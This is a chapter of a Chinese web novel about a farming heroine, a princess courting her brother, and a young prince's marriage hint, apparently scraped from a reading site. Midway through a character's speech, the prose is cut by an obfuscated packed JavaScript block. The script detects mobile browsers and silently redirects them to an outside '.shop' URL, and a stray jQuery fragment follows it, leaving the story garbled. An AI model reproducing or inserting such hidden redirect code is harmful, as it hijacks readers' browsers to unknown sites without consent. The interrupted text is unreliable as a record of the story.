文趣网 > 其他小说 > 二小姐种的瓜又大又圆 > 21.隔三差五往小林宅跑
    菜篮子工程如火如荼,另一个“工程”也在悄悄进行。

    六公主萧明嫣对林照夜的“追求工程”。

    这位公主自从及笄后,就像中了邪似的,隔三差五往小林宅跑。

    美其名曰“找疏影玩”,实际眼睛一直往林照夜身上瞟。

    林照夜最近很头疼。

    他本来在专心准备春闱。

    秋闱他许是用力用大了些,还真让他中了。

    但他知道自己不是读书的料,只是家里对他期望高,总得试试。

    可六公主一来,他就没法安心读书了。

    “林三少!”萧明嫣今天又来了,穿了一身鹅黄宫装,从马车上下来时提着裙摆,跑起来像只刚出笼的小黄鹂。她推开书房的门,探进半个身子,“你在看什么书?”

    林照夜头也没抬,笔尖顿了一下,起身行了礼又坐了回去:“《论语》。”

    “哦,《论语》啊。”萧明嫣走过去,绕到他侧面,弯腰歪着头去看他手里的书页,“子曰:‘学而时习之,不亦说乎?’对不对?”

    “……对。”

    “那你知道下一句是什么吗?”

    “有朋自远方来,不亦乐乎。”

    “再下一句呢?”

    林照夜终于抬起头,把笔搁在笔架上,无奈地看着她。

    日光从窗棂间漏进来,落在她脸上,那双眼睛亮闪闪的,没有半点要走的的意思。

    “公主殿下,您到底想干什么?”

    “我想跟你说话啊。”萧明嫣理直气壮地在旁边的椅子上坐下,两手搭在桌沿,下巴搁在手背上,“宫里太闷了,母后整天让我学规矩,烦死了。你这儿多好,有瓜吃,有食堂,还能看你打算盘~对了,你打算盘的样子真好看!”

    林照夜脸一下子红了,连耳根都发烫。他下意识往后靠了靠,拉开一点距离,声音干巴巴的:“公主慎言。”

    “我说真的!”萧明嫣坐直了身子,托着腮,眼睛弯成两道月牙,“那些世家公子,要么文绉绉的没意思,要么纨绔子弟讨人厌。就你不一样,会读书,会算账,还会帮疏影打理庄子,多厉害!”

    林照夜张了张嘴,又闭上。

    他低头看着桌上的书页,一个字也看不进去。

    心里头翻来覆去就一句话:他哪会打理庄子?都是小妹指挥,他跑跑腿罢了。

    “公主,”他试着把语气放平,“您金枝玉叶,我只是一介白身,咱们……”

    “白身怎么了?”萧明嫣打断他,嘟着嘴巴满眼不赞成,“我父皇说了,英雄不问出处。再说了,你是林首富家的三少爷,家世也不差啊。”

    “可您是公主……”

    “公主也是人!”萧明嫣站起来,两手叉腰,下巴微微扬起,“林照夜,我告诉你,本公主就是看上你了!你要考科举,我等你。你要打理家业,我支持你。反正……你得成为本公主的驸马!”

    说完,她转身就走。

    脚步很快,跨过门槛时裙子绊了一下,她踉跄半步,头也没回,扶着门框稳住了,匆匆消失在走廊尽头。

    林照夜一个人呆坐在书房里,脑子嗡嗡作响。

    娶公主?

    他?

    林照夜?

    一个连举人都考不上、秋闱撞了大运才侥幸中了的商贾之子?

    开什么玩笑。

    —— ——

    晚饭时,林照夜魂不守舍,筷子在碗里扒拉了几下,一粒米都没送进嘴里。

    “三哥,”林疏影放下碗,看了他一眼,“有心事?”

    林照夜犹豫了一下,把白天的事说了。

    饭桌上瞬间安静下来。

    魏馥玉夹菜的手停在半空,赵荻儿的筷子搁在碗沿上,林景深端着的汤碗顿了一下。

    “六公主……要嫁你?”魏馥玉瞪大了眼。

    赵荻儿也跟着惊讶地眨了眨眼:“公主这么直白?”

    林景深把汤碗放下,伸手拍了拍弟弟的肩,嘴角带着笑:“行啊老三,公主都看上了,有出息!”

    “你们别取笑我了。”林照夜把筷子搁下,往椅背上一靠,声音闷闷的,“这怎么可能?她是公主,我是商人之子,门不当户不对的。”

    “那可不一定。”林疏影身子微微前倾,看着他的眼睛,“三哥,我问你,抛开身份,你觉得六公主怎么样?”

    林照夜愣了愣。

    他垂下眼,手指在掌心里无意识地划了两下。

    抛开身份……六公主活泼开朗,心思单纯,虽然有些骄纵,但没什么坏心眼。

    长得也可爱,像只小黄鹂似的,整天叽叽喳喳。

    “还、还行吧……”他含糊道。

    林疏影笑了,坐回椅子里,端起茶杯抿了一口:“那就是了。身份这东西,说重要也重要,说不重要也不重要。咱们林家虽不是勋贵,但家财万贯,是朝廷第一纳税人。你虽无功名,但打理家业是一把好手。若真论起来,未必配不上公主。”

    林照夜抬起头,看了她一眼,嘴唇动了动,又垂下去:“可皇后娘娘会答应吗?”

    “这就要看六公主的决心了。”林疏影把茶杯放下,“她若真非你不嫁,皇后娘娘那么疼她,未必不会妥协。再说了,你现在是白身,不代表永远是白身。春闱好好考,哪怕中个进士,身份也大不一样。”

    “可我……”

    “我知道你读书不行。”林疏影截住他的话,语气不急不缓,“但事在人为。还有三个月,我帮你补课。”

    “你帮我?”林照夜抬起头,目光里带着怀疑,“你自己都……”话没说完,他忽然想起小妹那篇《论粮储疏》。

    对哦,小妹学问好着呢,只是平时不显山露水。

    他张了张嘴,把那半句话咽回去:“行!”他一拍桌子,手掌在桌面上拍得发红,“我学!”

    从那天起,林照夜开始了地狱式的备考。

    林疏影每天抽两个时辰给他补课。

    不是教八股文,那东西她也不擅长。

    她教的是实务:农政、漕运、税赋、民生。

    这些都是策论的常考内容,也是她的强项。

    她还把自己写文章的方法教给他:如何立论,如何论证,如何用数据支撑观点。

    林照夜学得吃力,眉头常常拧成一个疙瘩,笔尖戳在纸上半天不动。

    但进步也明显,他本就聪明,只是被死板的八股文束缚了。

    现在换了个思路,渐渐摸到了门道。

    六公主萧明嫣知道后,来得更勤了。

    不过不再缠着他说话,而是安安静静坐在旁边。

    林照夜翻书,她也翻书。

    林照夜做策论,她就托着腮看着,偶尔起身去倒杯茶,放在他手边,不出声。

    —— ——

    有时也会去缠着林疏影让她讲些农事趣闻。

    “疏影,”有天萧明嫣忽然问,手指无意识地卷着衣角,“你说,我要是跟母后说想嫁给你哥哥,母后会答应吗?”

    林疏影想了想,把手里的种子一颗颗挑拣着放进育苗盘:“可能会生气,但未必不会考虑。不过公主,婚姻大事,您得想清楚。我三哥很好,但他只是个普通人。”

    “我不在乎。”萧明嫣说,声音不大,但很笃定。

    她把手里那本书合上,手指在封面上抚了两下,“宫里看着富贵,其实憋屈得很。规矩多,是非多。我就想像你这样,有个自己的庄子,想干什么干什么,多自在。”

    林疏影抬头看了她一眼。这姑娘平时叽叽喳喳的,此刻安静下来,眉眼间倒有几分认真。“那您就好好跟皇后娘娘说。”她低下头,继续摆弄种子,“但别急,慢慢来。等我三哥春闱有了结果,再说也不迟。”

    “好!”

    —— ——

    谣言风波彻底平息后,食堂的生意不仅恢复了,还比以前更红火。

    “祥瑞之地”的名声传开,连城里都有不少人专程跑来吃饭。

    阿梨又发展了新业务——外卖。

    付点跑腿费,就能把食堂的菜送到家,方便了那些懒得出门的富户。

    林疏影却不敢松懈。

    她让魏馥玉和赵荻儿加强庄子防卫,又请郑管事帮忙,在庄子周围设了几个暗哨。

    魏将军很爽快地答应了,毕竟林疏影给城防军的供应价实在优惠。

    杨万里就是在这时候来的。

    林疏影在前厅见到他时,心里微微一动,面上不显,欠身行了礼。

    “杨大人。”

    “乡主。”杨万里还礼,笑容温和,手里拎着个食盒。

    两人在前厅落座。

    阿梨上了茶,退到一旁,目光却一直没从杨万里身上移开。

    小姐交代过,这位大人心思深,得防着点。

    杨万里打开食盒,把几碟糕点一一端出来:“听说乡主最近遇到些麻烦,这是家母做的点心,聊表慰问。”

    “多谢杨大人关心。”林疏影端起茶杯,借着茶盏的遮挡看了他一眼,又放下,“谣言而已,已经解决了。”

    “那就好。”杨万里看着她,目光在她脸上停了一瞬,又移开,落在窗外的瓜田上,“不过乡主,树大招风。您这庄子如今名声响亮,盯着的人自然多。以后……还需多加小心。”

    这话说得诚恳,林疏影有些意外。

    她握着茶杯的手微微收紧,又松开:“大人这是……提醒我?”

    “算是吧。”杨万里端起茶杯,抿了一口,垂眼看了看杯中的茶叶,“我与令兄林墨谦有些交情,又与七殿下相熟。于情于理,都该提醒一声。”

    两人对视了一瞬。

    杨万里的眼神里带着点探究,像是在确认什么,又像是在找什么东西。

    林疏影没有躲,但也没有接话,只是静静地等着。

    阿梨站在旁边,手心里都是汗。

    杨万里顿了顿,又说:“以

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577116|202898||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乡主之才,困于这方寸之地,实在是……暴殄天物。”

    林疏影心头一震。

    她没想到杨万里会这么说。

    在这个时代,女子有才不是什么好事。可杨万里却说……暴殄天物?她垂下眼,手指在杯沿上轻轻抹了一圈:“大人过奖了。我只是种种地,做点小生意,谈不上什么才。”

    杨万里没有再说什么,又坐了片刻。

    期间他不时看向屋外,目光在院子里扫来扫去,像是在找什么人。

    林疏影注意到他的视线,但没有多问。

    又坐了片刻,他才起身告辞。

    林疏影送他到门口,站在那里,看着他的马车远去,久久未动。

    阿梨走过来,犹豫了一下,小声问:“小姐,杨大人他……”

    林疏影收回目光,转身往回走,“去忙吧。”

    —— ——

    那天下午,萧晟叡来了,手里拿着一本薄册子。

    一进门就说:“又有新鲜事了。”

    林疏影接过册子,翻开。

    里面记录着最近朝野的趣闻:某大臣家的猫生了一窝五颜六色的小猫;江南某地出现会“跳舞”的豆子;还有……

    她的目光停在一行字上。

    “杨万里杨大人近日常与人言:嘉禾乡主之才,当世罕见,农政见解之精妙,朝中诸多大员亦不及。”

    林疏影看完,没什么特别的表情,手指翻了翻,又看下一条。

    萧晟叡坐在对面,手里端着茶杯,没喝,目光落在她脸上:“杨大人这话,传得挺广。”他说,语气不咸不淡。

    林疏影把册子合上,放回桌上,也端起自己的茶抿了一口:“他说的也没错。我的农政见解,确实比朝中那些只会翻故纸堆的强。”

    萧晟叡看了她一眼,把茶杯放下,手指有些不自然地卷了卷:“你倒是不谦虚。”

    “实话而已。”林疏影把册子推回去,靠在椅背上,“再说了,他说的是‘才’,又不是别的什么。我要是连这点称赞都受不起,这些年地白种了。”

    萧晟叡没接话。他把册子收进袖中,垂眼沉默了一会儿。

    “不过,他能这么说,说明他确实看重你。”他的声音比刚才轻了些,但语气还是平的。

    林疏影看了他一眼。

    少年坐在那里,脊背挺直,表情没什么变化,但手指搁在膝盖上,微微收拢了一下。

    “看重就看重吧。”语气自然地像在说今天天气不错,“我又不能拦着别人怎么想。”

    萧晟叡抬起头,看着她:“疏影,”他顿了顿,“若有人提亲,你当如何?”

    林疏影把茶杯放下,两只手搭在扶手上,想了一下:“那得看是谁。不过大概率是拒了。我志在田园,无心婚事。”

    “若那人愿陪你种田呢?”萧晟叡问,声音稳,但语速比平时快了一点,“陪你种瓜,陪你开食堂,陪你做你想做的事。你会考虑吗?”

    林疏影看着他的眼睛。

    少年没有躲闪,只是耳尖慢慢红了一点。

    她心里清楚他在问什么。

    不是不知道,不是不明白。

    “你今年多大?”她忽然问。

    萧晟叡愣了一下:“十三。”

    “十三。”林疏影重复了一遍,点了点头,“等你十六再说吧。”

    萧晟叡张了张嘴,又闭上。

    “我不是拒绝你。”林疏影把话说在前面,语气平和,,“我是说,你现在说这些,太早了。你见过多少世面?读过多少书?处理过多少朝政?等你能独当一面了,再来问我这个问题。”

    萧晟叡沉默了一会儿。他垂下眼,看着自己腰间玉佩的穗子,手指无意识地捻了一下。

    “好。”他抬起头,嘴角微微扬了一下,“那我十六再来问。”

    林疏影点了点头,没再继续这个话题。

    “听风楼又得了些海外瓜种的消息,”萧晟叡像什么都没发生过,拍了拍衣袍,“有种子已经在路上了。另外,父皇让我问你——春猎的时候,可愿与我同行?”

    林疏影想了想,点头:“好。”

    “那就说定了。”萧晟叡站起身,“到时候,我介绍几个朋友给你认识。”他说完便告辞了。

    阿梨走进来,见她坐在那里喝茶,忍不住多看了两眼:“小姐,七殿下跟您说什么了?说了这么久。”

    “没什么。”林疏影把茶杯放下,“就是春猎的事。”

    “春猎啊,”阿梨眼睛一亮,“那得好好准备!小姐要穿什么?戴什么首饰?要不要做新衣服?”

    林疏影被她一连串问题问得有点烦,摆了摆手:“随便吧。”

    她站起身,走到窗前,看着院子里新搭的葡萄架。

    阳光透过嫩叶落下来,在地上印出碎碎的光斑。

    十三岁。

    她在心里默念了一下这个数字,摇了摇头。

    还是个孩子呢。